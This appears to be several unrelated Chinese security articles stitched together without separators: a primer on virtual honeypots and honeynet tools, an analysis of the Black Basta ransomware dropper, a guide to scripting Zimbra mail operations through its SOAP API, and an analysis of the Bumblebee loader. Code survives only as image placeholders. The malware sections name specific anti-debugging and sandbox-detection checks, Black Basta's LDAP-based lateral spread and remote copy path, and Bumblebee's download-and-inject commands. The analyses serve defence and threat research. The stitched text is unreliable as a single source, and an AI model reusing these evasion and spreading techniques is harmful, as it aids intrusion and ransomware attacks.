蜜罐可以運行任何操作系統和任意數量的服務。蜜罐根據交互程度(Level ofInvolvement)的不同可以分為高交互蜜罐和低交互蜜罐。蜜罐的交互程度是指攻擊者與蜜罐相互作用的程度,高交互蜜罐提供給入侵者一個真實的可進行交互的系統,相反,低交互蜜罐只可以模擬部分系統的功能。高交互蜜罐和真實係統一樣可以被完全攻陷,允許入侵者獲得系統完全的訪問權限,並可以以此為跳板實施進一步的網絡攻擊。相反的,低交互蜜罐只能模擬部分服務、端口、響應,入侵者不能通過攻擊這些服務獲得完全的訪問權限。

蜜罐分為高交互蜜罐、低交互蜜罐、物理蜜罐、虛擬蜜罐。從實現方法上來分,蜜罐可分為物理蜜罐和虛擬蜜罐。物理蜜罐是網絡上一台真實的完整計算機,虛擬蜜罐是由一台計算機模擬的系統,但是可以響應發送給虛擬蜜罐的網絡流量。今天我們來淺析一下虛擬蜜罐。

1.png

對比物理蜜罐而言,虛擬蜜罐要容易得多。可以在一台計算機上部署數千個蜜罐,代價低廉,幾乎所有人都可以很容易地使用它們,並且使得其更加容易維護以及較低的物理需求。很多時候我們會使用VMware或者用戶模式的Linux (UML)等來建立虛擬蜜罐,這些虛擬系統工具可以在一台物理計算機上運行多個蜜罐系統及應用程序來收集數據。

虛擬蜜罐通常會模擬出真實的操作系統,並將其部屬在一台宿主主機上。在虛擬系統中虛擬出漏洞,產生虛假的流量,偽裝不存在的文件地址,存儲真實但無意義的文件,對網絡中的各種信息進行模擬等,來更好的吸引入侵者的攻擊虛擬蜜罐。

一是IP地址的空間欺騙。用一台主機就可以完成,利用在一個網卡來分配複數個IP地址,並對每一個IP地址配置單獨的MAC地址,可以完成多個主機的虛擬。

第二個是仿真網絡流量。因為虛擬蜜罐在一般情況下不會與其他主機主動進行交互,也就沒有任何的網絡流量,容易被入侵者根據這一點識破虛擬蜜罐。所以產生方針流量以後,可以欺騙入侵者,使入侵者無法通過對流量的觀察來判斷虛擬蜜罐的存在。

第三個是系統的動態配置。在正常狀態下,一個虛擬蜜罐的狀態是靜態的,沒有交互和網絡流量,一些有經驗的入侵者可以通過觀察系統的狀態來判斷是否是虛擬蜜罐。而係統的動態配置正是針對這一點,虛擬蜜罐的系統狀態會不斷的發生變化,會盡可能的模擬一個真實係統的行為,防止入侵者輕易的就發現虛擬蜜罐,導致其失去作用。

第四個是組織信息欺騙。可以在虛擬蜜罐裡設置一些個人信息,或者存儲一些沒有意義的虛假信息、文件等,可以讓虛擬蜜罐看起來更像是一個有人使用的真實係統,增加對入侵者的迷惑性。

第五個是端口重定向技術。這種技術可以對地址進行數次轉換,區別真實和虛擬網絡,也可以對常用端口進行重定向,達到隱藏這些端口的目的。

當多個蜜罐組成網絡時稱為密網,而一個密網的核心是蜜牆,也就是密網網關。蜜牆主要功能:

數據捕捉:可以在不被入侵者察覺的情況下,對密網內所有的活動和網絡數據信息進行捕捉。

數據控制:對進出密網的數據進行流量控制。這樣可以在內部蜜罐被攻破以後,確保其所有的活動依然被限制在蜜網之內。

數據分析:幫助密網管理者簡化捕捉數據分析,並可以幫助計算機和網絡取證。

常用的實現虛擬蜜罐的技術主要有VMware、用戶模式Linux、Argos、LaBrea、Honeyd等。

(1)VMware技術VMware公司是老牌的虛擬化軟件公司之一,其提供了多種虛擬化軟件應對不同的狀況。虛擬化軟件表示軟件可以模擬一個完整的計算機系統,並且可以在同一個虛擬機上可能運行多個不同的操作系統。下面介紹VMware公司的一些產品,這些VMware產品相互之間的不同點。

實際安裝VMware 的物理機器,執行VMware進程的計算機和操作系統實例稱為主機(或宿主主機)。運行在虛擬機內部的操作系統被稱為客戶系統或客戶虛擬機。兩種系統之間的交互是完全透明的,例如在主機和客戶系統之間,使用VMware可以共享文件夾、複製粘貼各種文件。

虛擬系統起到一個類似於模擬器的作用,主機的物理CPU和內存資源可以被主機與客戶虛擬機共享,但同時客戶操作系統也可以從VMware中分配到一套完整的虛擬硬件資源。例如,在多個客戶系統中,一套相同的虛擬硬件資源可以被所有的客戶系統所使用,就像同一配置的多台計算機安裝不同的操作系統,而且這些虛擬硬件可以在不超過客戶虛擬機配置的情況下任意的進行設置,不需要考慮真實物理硬件資源,這些硬件資源都可以連至主機系統。

2.png

(2)用戶模式Linux用戶模式Linux 是另一種可以用來創建虛擬蜜罐的系統,用法十分簡單,但是與VMware相比,主要缺點就是它只能模擬Linux系統。

UML是一個Linux內核的體系結構端口,系統內稱為接口。 Linux內核本身可以作為一個用戶進程來運行,實際的Linux內核(主機系統〉執行另外一個Linux(客戶系統)實例,把它作為一個進程。這個過程與VMware 中的虛擬機類似,每一個UML實例都是一個完整的虛擬機,與一個真實的計算機幾乎沒什麼區別。於是就有了一個簡單的方法來實現虛擬機,直接使用UML建立一個虛擬蜜罐,獲得一個虛擬系統提供的所有優點。在配置或穩定性上,客戶系統不會影響到主機系統。UML的塊設備,也稱為磁盤,通常是主機文件系統上的文件,不會影響存儲正常數據的本地塊設備。

UML作為一個操作系統只能運行在Linux上,所以如果運行Windows 或其他系統的時候,不能使用這種方式創建蜜罐。看起來只能選擇Linux系統缺點很嚴重,但也並非沒有好處,使用UML可以方便的創建許多不同的運行Linux的蜜罐。由於UML的塊設備是正常的文件,客戶系統使用這一文件(通常稱為根文件系統)作為一個完整的文件系統,可以很容易的把一個UML實例從一台機器上移植到另一台機器上。 UML 的另一個選項實用性也很強,能夠在寫時復制(copy-on-write,COW)模式下使用文件,UML實例在只讀模式下使用跟文件系統,把所有的更改寫入到一個單獨的文件中-COw文件,使得幾個蜜罐可以同時使用一個根文件系統,即可以節省磁盤空間,又可以便於維護管理。

(3)ARGOS荷蘭阿姆斯特丹自由大學的研究人員開發了一種新型的虛擬高交互蜜罐,該工具被稱為Argos,能夠自動檢測零天(zero-day)攻擊,也就是尚無補丁的攻擊。他們使用一種名為動態污點分析的技術來監測蜜罐:第一步,標記所有通過網絡接收到的數據,通過內存追踪這些標記數據,一旦這些標記數據被使用,影響了執行流程,Argos檢測到這些並產生一個攻擊的內存痕跡。相對於其他虛擬蜜罐解決方案,Argos不只是執行客戶虛擬機,同時還密切監測蜜罐,試圖及時發現攻擊者成功攻陷蜜罐的切入點。

動態污點分析是Argos技術的核心,這種技術根本在於觀察,一個攻擊者控制一個給定程序的執行流程,他一定會是使用某種方式影響它,但不論是何種方式,攻擊者都必須向程序發送一個不正常的輸入,這樣的數據必定會影響執行流,例如,跳轉到攻擊者提供的數據。

在這一過程中,動態污點分析發揮作用,一個程序的所有外部輸入都被當作污點被標記。在分析過程中,密切監視和檢查所有污染變量的使用,當一個污染變量通過其他操作得到的結果也被認為受到污染:但如果一個污染變量被賦予一個固定值,則認為該變量不再是受污染變量。這樣就可以跟踪外部輸入的使用,一旦這種污染輸入用於改變執行流,就可以被檢測出來。對Argos 來說,它產生的信息轉儲包含引起正常執行流偏離的相關信息。這個方法對檢測網絡攻擊靈敏度很高,而且我們檢測攻擊無需任何先驗知識。當一個攻擊發生時,我們可以精確地檢測到,通過分析確定導致該事件的原因。

(4)LaBrea由Tom Liston 創作的LaBrea,因引入了一個tarpit概念而聞名。 tarpit是一種服務,作用是通過使TCP連接非常緩慢或完全停止它們的進程,試圖減緩垃圾郵件發送者發送速度甚至是蠕蟲的傳播速度,雖然tarpit並不能減緩更高級的蠕蟲傳播,然而,對於順序操作的簡單蠕蟲tarpit具有良好的作用。

在網絡上運行LaBrea時,它會發現空閒的IP地址,並代替它們應答連接。一旦連接被建立起來,LaBrea會通過在TCP協議中採用技巧而盡可能長時間地黏住發送者,這樣建立的連接會進入到一種不能再取得任何進展的狀態。拖延連接的原因很簡單,垃圾郵件或病毒發送者在服務器上每多維持一個連接,就減少了向真正的主機發送垃圾郵件的可用資源。

為了檢測一個IP地址是否可用,LaBrea利用ARP協議。每當路由器試圖向一個IP地址交付一個數據包時,它首先需要找到相應的MAC地址,如果沒有主機監聽這一IP地址,ARP不會獲得應答。

例如:12:20:40.439476 arp who-has 192.168.1.123 tell 192.168.1.2

由於ARP在整個網絡上進行廣播,LaBrca 監視來自路由器的ARP請求,如果網絡中沒有主機相應IP地址192.168.1.123,LaBrea就會發送自己的應答:

12:20:42.356431 arp reply 192.168.1.123 is-at 00:3c:2f:1e:52:7a

現在路由器收到了一個MAC地址,就會把這個數據包以及後去的數據包發送給LaBrea 主機。但當一個主機重新啟動,它可能會使用一個已經被LaBrea佔用的IP地址,不過重啟的主機會發送一個無需應答的ARP請求,通知網絡上的所有人新的IP地址和MAC的綁定,那麼LaBrea將會放棄該IP地址。 LaBrea接受網絡上所有空閒的IP地址的TCP連接,當它收到一個SYN包,它就會通過完成TCP 三次握於建立一個連接,然後拖延這個連接。 LaBrea支持兩種放慢連接傳輸速度的方法:

窗口調節:LaBrea接受一個新的連接,但會公佈一個非常小的接收窗口。接收窗口指示發送者,每個數據包不能發送大於窗口允許長度的數據。當採用窗口調節時,連接仍然在繼續,但當一個1000字節長度的包被要求以10個字節長度位單位進行傳輸,顯然傳輸時間會變得非常漫長,速率會變的非常緩慢。

持久捕捉:LaBrea 公佈一個TCP接收窗口的大小為0,指示發送者在繼續發送數據前等待。發送者周期地回訪,發送窗口探測數據包,以確定接收窗口是否再次打開,這種狀態可以一直持續下去。

當垃圾郵件發送者試圖通過一個La Brea 蜜罐發送電子郵件時,SMTP事務將不產生或者產生很小的進程,一個啞垃圾郵件發送者將保持該連接,浪費網絡資源。最終,垃圾郵件發送者一旦發現和La Brea會話沒有取得進展,它可能走掉。

當我們使用DHCP用於IP地址動態分配,LaBrea將接管DHCP地址範圍內目前尚未使用的地址。 DHCP服務器在分發一個IP地址前,往往首先ping該地址,但是LaBrea對ping 的響應會干擾DHCP服務器的判斷。隨著時間的推移,用戶歸還了他們租用的IP地址,最後LaBrea將接管整個DHCP地址空間。所以一個用戶需要知道哪些地址是被他的DHCP服務器使用,並在配置文件中排除它們。

3.png

(5)HoneydHoneyd是一種框架,可以把數千個虛擬蜜罐及對應的網絡集成到一起。通常我們使用Honeyd集成現有網絡上所有未分配的IP地址,對每一個IP地址,都可以設置Honeyd模擬不同的計算機行為。

一般的來說,當一個蜜罐只使用一個IP地址時,可能需要相當長的一段時間才可以探測到攻擊,但當你擁有的IP地址多達成百上千時,可以大大加快被攻擊的速度,這就是Honeyd的作用,以一個低交互虛擬蜜罐的框架,在一個網絡或者Internet 上建立數千個虛擬蜜罐,充分的利用未分配的網絡地址,來更多的觀察攻擊行為,或者用來阻止入侵者攻擊真實係統。

Honeyd通過路由器或代理ARP為其虛擬蜜罐接受流量,對於每一個蜜罐,Honeyd可以模擬不同的操作系統的網絡棧行為。

Honeyd的特性Honcyd可以同時模擬數幾千個不同的虛擬主機:入侵者可以通過網絡與每一個單獨的主機進行交互。可以通過配置Honeyd得到每個主機的不同行為。

通過配置文件可以配置任意服務:當入侵者與虛擬主機進行交互時,Honeyd可以提供與對手交互的任意程序,這些程序服務都可以使用配置文件進行配置。無論何時Honeyd收到一個新的網絡連接,都可以及時啟動事先配置好的服務或者程序,回應入侵者。即使不運行相應的程序,Honeyd也可以作為代理將連接轉接到其他主機上,或者採用類似於被動指紋識別的功能,識別遠程主機和負載的隨即採樣。

在TCP/IP協議棧層次模擬操作系統:這一特性允許Honeyd 欺騙Nmap和Xprobe,讓他們相信一個虛擬蜜罐上正運行著各種配置的操作系統。組建自由路由拓撲:路由拓撲可以任意複雜,可以配置延遲、丟包和帶寬等特徵。 Honeyd支持非對稱路由、物理機器集成到一個虛擬拓撲中,以及通過GRE隧道的分佈式操作。

子系統虛擬化:利用子系統,Honeyd可以在一個蜜罐的虛擬空間下執行真正的UNIX應用,如Web服務器、Ftp服務器等等。這一特徵也允許虛擬地址空間內進行動態端口綁定和網絡連接的後台初始化。

4.png

Honeyd的體系結構Honeyd使用一個簡單的體系結構,一個中央包分發器接受所有入侵者的網絡流量,基於實現確定好的配置,對收到的數據流量來創建不同的服務進程處理,為了匹配所配置操作系統的特徵,使用個性引擎所修改發送出去的網絡數據包。

雖然通過對Honeyd 的配置可以控制它的每一個方面,但是三個重要特徵決定了Honeyd的整體行為:

一是入侵者只能從網絡中與Honeyd進行交互,我們的基本假設是入侵者不能走近計算機或者鍵盤進行登錄,因為任何一個Honeyd模擬的蜜罐沒有與之對應的物理計算機,Honeyd不是模擬操作系統的每一個方面,只有模擬其網絡堆棧所以入侵者永遠無法獲得對一個完整系統的訪問,但是可以通過與虛擬機如VMware相結合,減小Honeyd的這一問題。

二是Honeyd 可以在網絡上佈置大量的虛擬蜜罐,即使分配大量的IP地址Honeyd也都能模擬出,可以具有不同的操作系統和服務,也可以模擬任意的網絡拓撲結構,並支持網絡隧道。

三是可以欺騙指紋識別工具,Honeyd可以反轉指紋識別工具的數據庫,找到數據庫中指紋識別的特徵,當一個蜜罐需要發送一個網絡數據包時,可以通過查找數據庫,改變所有的數出數據包內容,使它們與配置的操作系統特徵相匹配。

結語虛擬蜜罐技術具有物理蜜罐技術的諸多特性,並可以在單一的系統中運行成百上千個虛擬蜜罐,還可以添加諸多應用程序,如網絡誘餌、蠕蟲探測、垃圾郵件阻止、網絡模擬等。相對於物理蜜罐複雜的部署、高額的費用、超長的耗時,虛擬蜜罐技術作為蜜罐技術的突破性解決方案讓網絡安全防護成本降低、效率增加,在網絡安全技術方面也同樣有著重要的作用。

微信截图_20221024152448.png

根據Check Point在2022年上半年的報告,每40個組織中就有1個受到勒索軟件攻擊的影響,這比去年增加了59%。勒索軟件之所以如此猖狂,原因就是獲利巨大。隨著雙重勒索的增加,勒索軟件攻擊變得更加吸引人:即使受害者拒絕支付,被盜的私人數據可能會在黑市上以相當大的價格出售。

自2022年5月以來,累計有89多起知名組織被Black Basta組織攻擊。數據顯示,該組織的攻擊目標明顯位於美國和德國,49%的受害者是美國用戶。在某些情況下,贖金甚至超過100萬美元。

1.png

接下來,我將介紹Black Basta活動的技術細節,以及各種規避和反分析技術。

技術細節在攻擊開始之前,幕後組織必須將勒索軟件傳播到受害者的設備。憑藉先進的傳播技術,滴管有不同的方式將其有效載荷下載到選定的受害者設備,不過也可能會出現不同滴管模塊的組合使用(比如QakBot和Cobalt Strike有效載荷的組合),最終導致勒索軟件的執行。

2.png

Black Basta向受害者的設備發送勒索軟件的可能方式

我們觀察到,滴管可以比技術上簡單的勒索軟件有效載荷複雜得多。我們將在下面介紹Black Basta勒索軟件的最終傳播階段。

傳播階段Black Basta滴管模仿了創建此網站上託管的USB可引導驅動器的應用程序:

3.png

Black Basta滴管的圖標和介紹

應用程序使用與Rufus網站上合法可執行文件相同的證書(由“Akeo Consulting”頒發)進行數字簽名:

4.png

Black Basta滴管和證書頒發者的數字簽名

有關如何使用經過驗證的數字簽名創建惡意應用程序的更多信息,請參閱Check Point研究團隊的文章。

規避和反分析技術在Black Basta滴管中實現了很多反調試技巧,下面按類別列出。

5.png

Black Basta滴管中的反調試和規避技術如果這些技術中的任何一種成功地檢測到調試器或仿真環境,則滴管將停止執行並退出,而不啟動Black Basta。

系統標誌這組反調試技術依賴於進程內結構來檢查狀態:是否正在調試。

PEB: is debugger present;

PEB: being debugged;

PEB: NtGlobalFlag;

CheckRemoteDebugger;

Check kernel debugger;

CPU寄存器下面分組的技術使用CPU寄存器檢查進程是否正在調試。

設置陷阱標誌;

檢查陷阱標誌,同上。標誌未設置,只是選中;

檢查HW斷點(鏈接中的方法1);

CPU指令這些技術通過直接調用或包裝器使用CPU指令來檢查進程是否正在調試。

DebugBreak;

INT 2D;

INT3;

定時檢查這些技術執行定時檢查,以查看經過調試的進程與沒有調試器運行的進程之間的差異。

RDTSC;

QueryPerformanceCounter;

GetTickCount;

庫檢查這種技術依賴於這樣一個假設,即在通常的系統中有一些通用的系統庫可以毫無問題地加載,還有一些不常見的庫不應該真正出現在典型的系統中。然而,在沙盒環境中,當試圖加載一個不常見的庫時,在這種情況下可能返回預定義的代碼,而不是在非模擬設備中返回的代碼。返回代碼的差異可以用來檢測沙盒。

必須加載的庫kernel32.dll;

networkexplorer.dll;

NlsData0000.dll;

不能加載的庫NetProjW.dll;

Ghofr.dll;

fg122.dll;

Windows API檢查下面的一組技術使用Windows API函數來檢測進程是否正在調試。

VirtualAlloc與GetWriteWatch結合使用;

具有錯誤介紹符的CloseHandle;

OutputDebugString檢查最後的系統錯誤;

被污染的日誌這種技術並不是真正的反調試器,但會使日誌分析更加困難。重點是隨機調用kernel32.beep函數。你可以在這個沙盒分析中看到更多內容。

由於編碼錯誤導致檢查失敗

這些檢查應該使用仿真環境或已調試進程的細節,但由於編碼錯誤而無法正常工作。

FindWindow(類名:▬unAwtFrame)——名稱中的第一個符號是錯誤的,應該是SunAwtFrame;

NtQueryInformationProcess, check DebugPort——由於dll名稱錯誤而無法工作;

模糊轉儲成功躲避檢測後,Black Basta滴管又進行了模糊轉儲。 Black Basta有效載荷不是簡單地解壓縮並在內存中執行的,存在位於勒索軟件的PE標頭之前的數據是為了防止自動掃描器容易識別惡意有效載荷。

6.png

位於PE標頭之前的數據,以防止自動內存分析

正如預期的那樣,WinDbg中的imgscan命令無法顯示dropper進程內存中的Black Basta PE模塊。

7.png

WinDbg內存掃描中缺少Black Basta模塊

在完成所有這些步驟之後,實際的Black Basta有效載荷被執行。

Black Basta有效載荷在勒索軟件開始執行時創建互斥鎖,以確保只有一個惡意軟件副本處於活動狀態:

8.png

在Black Basta中創建互斥鎖

在我們介紹的示例中,互斥鎖的名稱是“dsajdhas.0”。

然後,惡意軟件設置壁紙,並為擴展名為“.basta”的文件指定一個自定義圖標。

9.png

Black Basta釋放的圖像

這些圖像來自Black Basta解壓縮它們的TEMP目錄。

該勒索軟件還試圖刪除任何卷影副本,如下圖所示:

10.webp.jpg

刪除卷影副本所執行的命令

加密創建多個線程來進行多線程加密過程:

11.webp.jpg

創建用於執行加密的線程

惡意軟件會加密驅動器上找到的所有文件,路徑中包含以下字符串的文件除外:

$Recycle.Bin

Windows

DocumentsandSettings

LocalSettings

ApplicationData

txt

Boot

txt

jpg

DAT

ico

ChaCha20流密碼(其比AES更快)用於加密,每個加密文件隨機生成密鑰。然後將該密鑰傳遞給帶有硬編碼公鑰的RSA加密,以檢索512字節的加密ChaCha20密鑰。此密鑰附加到加密文件的末尾:

12.webp.jpg

文件末尾的加密密鑰開始(左側);原始文件(右側)

在塊的末尾,還有加密密鑰的長度(0x200):

13.png

加密文件末尾的密鑰長度

請注意,並不是整個文件都被加密。惡意軟件針對每個64字節的第三個塊:

14.png

由Black Basta加密的塊(左側);原始文件(右側)

要處理文件,通常使用kernel32函數CreateFile;

ReadFile;

WriteFile;

MoveFile (重命名加密文件);

作為附帶說明,我們需要提到使用了RSA的mini GMP實現。

加密完成後,勒索軟件會在桌面上的“readme.txt”文件中釋放一條勒索說明。公司ID被硬編碼在勒索信中,這是有針對性和有準備的攻擊的標誌:

15.png

在示例中硬編碼的公司ID

在不知道RSA私鑰的情況下,沒有明顯的方法來解密文件。

自動分配Black Basta具有內置的網絡自動傳播功能,這是為了預防滴管的功能不足以完成任務。勒索軟件嘗試在LDAP API的幫助下連接到AD,並使用過濾器字符串(samAccountType=805306369)遍歷連接的工作站:

16.png

通過連接的工作站啟動搜索的函數

獲得工作站列表後,勒索軟件嘗試通過路徑\\c$\\Windows\\tmp.exe將自己複製到遠程計算機。然後,在COM對象objectIWbemClassObject (CLSID: 4590f812 - 1d3b - 11d0 - 891f - 00aa004b2e24)和IWbemServices-Win32_Process的幫助下,通過Create方法啟動前一階段複製的可執行文件。

總結勒索軟件攻擊是受害者可能面臨的最嚴重威脅之一。當代勒索軟件攻擊有大量成功勒索的記錄,並且可以在網絡內橫向移動,因此在使用雙重勒索方案時,可以獲得越來越多有保證的回報。

新出現的Black Basta就是一個非常成功的勒索軟件組織,它採取了各種預防措施,並執行了實際的數據加密,例如應用的反調試和逃避技術。

如上所述,勒索軟件本身的設計不僅能夠在最短的時間內造成最大的傷害,而且傳播階段也非常隱蔽、複雜和有效。 Black Basta會確保在安全的環境中運行,並且有機會執行加密。

為了降低遭受類似攻擊的可能性,組織應採取以下做法:

1.教育員工如何在網絡安全領域保持安全;

2.不要打開來自陌生髮件人的件;

3.更新並提高網絡基礎設施的安全性。

4.定期備份敏感數據並將其存儲在其他外部驅動器上。

5.保持系統保更新到最新版本。

0x00 前言在之前的文章《Zimbra SOAP API开发指南》 和《Zimbra-SOAP-API开发指南2》 介紹了Zimbra SOAP API的調用方法,開源代碼Zimbra_SOAP_API_Manage。 本文將要在此基礎上擴充功能,添加郵件操作的相關功能。

0x01 簡介本文將要介紹以下內容:

查看郵件

發送郵件

刪除郵件

0x02 查看郵件Zimbra SOAP API說明文檔:https://files.zimbra.com/docs/soap_api/9.0.0/api-reference/index.html

結合Zimbra SOAP API說明文檔和調試結果得出以下實現流程:

調用Search命令獲得郵件對應的Item id,通過Item id作為郵件的識別標誌。

獲得Item id後可以對郵件做進一步操作,如查看郵件細節、移動郵件、刪除郵件等。

1.獲得郵件對應的Item id需要使用Search命令。

說明文檔:https://files.zimbra.com/docs/soap_api/8.8.15/api-reference/zimbraMail/Search.html

需要用到以下參數:

(1)query

表示查看的位置,示例如下:

image.png

(2)limit

表示返回的查詢結果數量,示例如下:

image.png

如果不指定該屬性,默認為10

測試代碼:

image.png

返回內容示例:

image.png

對以上格式分析,發現標籤c***對應每個郵件的信息,提取數據如下:

image.png

格式分析如下:

image.png

時間格式轉換的示例代碼:

image.png

綜合以上內容,得出提取Item id、發件人、標題、正文內容和發送時間的實現代碼:

image.png

2.查看郵件內容測試發現,查看郵件細節可以不依賴Zimbra SOAP API,訪問固定url即可。

image.png

通過這種方式可以獲得完整的郵件內容,包括Base64編碼的附件內容。

實現代碼:

image.png

0x03 發送郵件在發送帶有附件的郵件時,需要先上傳附件,再發送。

1.上傳附件上傳功能通過FileUploadServlet實現,對應代碼位置:/opt/zimbra/lib/jars/zimbrastore.jar中/com.zimbra/cs/service/FileUploadServlet.class

上傳細節可參考:https://github.com/Zimbra/zm-mailbox/blob/develop/store/docs/file-upload.txt

上傳的url: https://

image.png

如果添加參數fmt=raw,extended,返回結果示例:

image.png

經過比較,發現添加參數fmt=raw,extended能夠額外獲得文件類型,示例:'ct':'image/jpeg'

所以在上傳時,使用url: https://url /service/upload?fmt=raw,extended

綜合以上內容,得出以下實現代碼:

image.png

2.發送帶有附件的郵件需要使用SendMsg命令。

說明文檔:https://files.zimbra.com/docs/soap_api/8.8.15/api-reference/zimbraMail/SendMsg.html

需要用到以下參數:

(1)e

表示發件人和收件人等相關信息,示例如下:

image.png

(2)su

表示郵件標題,示例如下:

image.png

(3)mp

表示正文內容,示例如下:

image.png

(4)noSave

如果設置為1,表示郵件發送後,不在發件箱保存副本,示例代碼:

image.png

(5)attach

指定發送附件的aid,示例代碼:

image.png

綜合以上內容,得出發送帶有附件郵件的實現代碼:

image.png

0x04 刪除郵件需要使用ConvAction命令。

說明文檔:https://files.zimbra.com/docs/soap_api/8.8.15/api-reference/zimbraMail/ConvAction.html

需要用到以下參數:

(1)tcon

image.png

通過瀏覽器刪除郵件的流程是先點擊刪除郵件,將郵件移動至垃圾箱,再從垃圾箱中點擊刪除郵件,完成郵件的徹底刪除。

通過Zimbra-SOAP-API可以簡化以上流程,直接刪除郵件。

實現代碼:

image.png

0x05 開源代碼新的代碼已上傳至github,地址如下:

https://github.com/3gstudent/Homework-of-Python/blob/master/Zimbra_SOAP_API_Manage.py

優化了代碼結構,增加了以下功能:

DeleteMail,刪除指定郵件

SearchMail,獲得郵箱信息,包括Item id、發件人、標題、正文內容和發送時間

SendTestMailToSelf,向當前郵箱發送一封帶有附件的郵件

uploadattachment,上傳附件

uploadattachmentraw,上傳附件的另一種實現,用於特定條件

viewmail,查看郵件完整細節

0x06 小結本文擴充了Zimbra SOAP API的調用方法,添加三個實用功能:查看郵件、發送郵件和刪除郵件,記錄實現細節。

年初,Bumblebee加載程序的活動激增,由於其與幾個著名的惡意軟件家族有關,因此引起了安全研究人員的注意。

Bumblebee一直在快速迭代,其加載系統在幾天內經歷了兩次徹底的更新,首先是從使用ISO格式文件到包含powershell腳本的VHD格式文件,然後再恢復原貌。

Bumblebee服務程序在6月前後發生的行為變化表明,攻擊者可能已經將他們的重點從大規模監測惡意軟件轉向了攻擊盡可能多的受害者。

儘管該攻擊包含一個名為group_name的字段,但它可能不是一個與集群相關的活動的良好示例:具有不同group_name值的示例顯示了類似的行為,這可能表明同一個攻擊者同時運營多個group_name。加密密鑰的情況並非如此:不同的加密密鑰通常意味著不同的行為。

Bumblebee的有效負載因受害者類型而異。受感染的獨立計算機可能會受到銀行木馬或信息竊取者的攻擊,而組織網絡可能會受到更先進的後期利用工具(如CobaltStrike)的攻擊。

技術分析Bumblebee加載程序通常以類似於DLL的二進製文件的形式出現,並使用自定義打包程序打包。此DLL的傳播方法似乎會隨著攻擊者而異。目前最流行的方法是將打包的DLL直接嵌入另一個文件(通常是ISO)中,在6月份的一段短暫時間內,惡意軟件的操作人員嘗試使用VHD文件,執行PowerShell下載並解密打包的DLL本身(用一個非常不同的打包程序打包)。這種趨勢似乎已經消失,現在可以再次在第一階段文件中直接找到DLL,無論是ISO還是VHD。

一旦解壓,Bumblebee將執行檢查,以避免在沙箱或分析環境中執行,負責這項工作的大部分代碼都是開源的,直接從Al-Khaser項目中提取出來。如果避開安全監測,Bumblebee將繼續將其配置加載到內存中。這是通過從它的.data部分加載四個指向連續加密配置結構中的四個不同緩衝區的指針來實現的。第一個指向一個80字節的部分,它存儲一個RC4 ascii密鑰(在我們所觀察到的所有示例中都要短得多)。其他三個指針指向兩個80字節的部分和一個1024字節的部分,所有這些部分都包含隨後使用上述RC4密鑰解密的數據。

解密後,大多數示例中的第一個80字節緩衝區僅包含數字“444”,惡意軟件沒有使用這個數字,所以它的意義不清楚。第二個緩衝區包含一個被惡意軟件標記為group_name的ASCII碼。最後,1024字節塊包含一個命令和控制服務程序列表(其中大多數通常是假的)。

1.webp.jpg

Bumblebee加密配置

Bumblebee通過連接一些不可變機程序參數(在本例中為機程序名和GUUID)的常用方法計算特定於機程序的偽隨機受害者ID(內部命名為client_id),然後計算結果的哈希值(在本例中為MD5摘要)。

利用這些數據和從受害系統收集到的其他特點,Bumblebee以JSON格式構建了CC簽入,如下所示:

2.png

該字符串使用之前配置時使用的相同的RC4密鑰加密,並以25秒到3分鐘的隨機延遲重複發送到其C2服務程序,而不管服務程序是響應還是關閉。來自命令和控制服務程序的響應也是JSON格式,也使用相同的RC4密鑰加密。響應本身的內容自然是不同的,例如,可以是一個空響應:

3.png

或者一些要注入或執行的負載:

4.png

在接收有效負載的示例中,響應的結構將包含json任務部分中的特點列表,每個特點都有一個命令和一個有效負載。每個特點都將包含一個任務字段,其中包含要執行的命令的名稱,以及一個名為task_data的部分中一個base64編碼的有效負載。

殭屍網絡行為分析直到7月初,我們一直觀察到命令和控制服務程序的一個非常奇怪的行為。一旦為受感染的受害者生成client_id並將其發送到命令和控制服務程序,該命令和控制服務程序將停止接受來自同一受害者外部IP的其他不同的client_id代碼。這意味著,如果一個組織中使用同一公共IP訪問internet的多台計算機受到感染,C2服務程序將只接受第一台受感染的計算機。但是幾個星期前,這個功能突然被關閉,大大增加了與受感染受害者建立的連接的數量(可能表明該惡意軟件的測試階段已經結束)。

這種行為促使研究人員特別關注Bumblebee在不同執行環境中的行為。值得注意的是,儘管在每個示例中都硬編碼了一個名為group_name的字段,但在每個請求中都會將該值發送到命令和控制服務程序。此外,上述“每個IP地址一個client_id”策略似乎適用於不同的group_name,但不適用於不同的RC4加密密鑰,這似乎意味著同一殭屍網絡使用多個group_name可能標記不同的活動或不同的受害者集。因此,與按group_name分組相比,按加密密鑰分組活動似乎是一種更前後一致的方法。

研究人員觀察到幾個具有相同RC4密鑰和不同group_name的示例在非常接近的時間範圍內行為相同並實現了相同的攻擊,而使用不同RC4密鑰的示例表現出完全不同的行為,這一事實進一步支持了這一假設。

5.webp.jpg

不同Bumblebee示例根據其RC4密鑰釋放了相同的有效負載

事實上,不同的示例使用相同的RC4密鑰接觸的不同IP地址的命令和控制服務程序會返回相同的有效負載,並為受害者阻止相同的client_id,這一事實也表明,這些IP地址實際上只是一個主命令和控制服務程序的前端,所有Bumblebee連接都中繼到該服務程序。

這些殭屍網絡行為的另一個有趣的特點是,Bumblebee釋放到受害者機程序中的工具集是如何根據目標的類型而有所不同。為了部署攻擊,在bumblebee支持的5個命令中,有3個命令導致從C2服務程序下載代碼並執行:

DEX:將可執行文件部署到磁盤並運行它。

DIJ:將庫注入進程並執行它。

SHI:向進程中註入並執行shellcode。

作為對各種Bumblebee殭屍網絡持續監控的一部分,研究人員一直在監控基於網絡類型或地理位置等因素的行為差異。雖然受害者的地理位置似乎對惡意軟件的行為沒有任何影響,但研究人員觀察到,Bumblebee在感染了屬於域(共享同一個Active Directory服務程序的邏輯網絡組)的機程序後,與連接到工作組(微軟術語,表示點對點局域網)的從公司網絡中隔離出來的機程序之間存在非常明顯的差異。

如果受害者連接到WORKGROUP,在大多數示例中,它會收到DEX命令(下載和執行),這將導致它從磁盤上釋放並運行一個文件。這些有效負載通常是常見的盜竊程序,如Vidar Stealer,或銀行木馬:

6.webp.jpg

Bumblebee C2響應,其中包含一個Base64編碼的有效負載的DEX命令

另一方面,如果受害者連接到AD域,它通常會收到DIJ(下載和注入)或SHI(下載shellcode和注入)命令。

7.webp.jpg

帶有DIJ命令的Bumblebee C2響應,其中包含Base64編碼的有效負載

在這些示例中,產生的攻擊來自更先進的後開發框架,如cobalt tstrike、silver或Meterpreter。

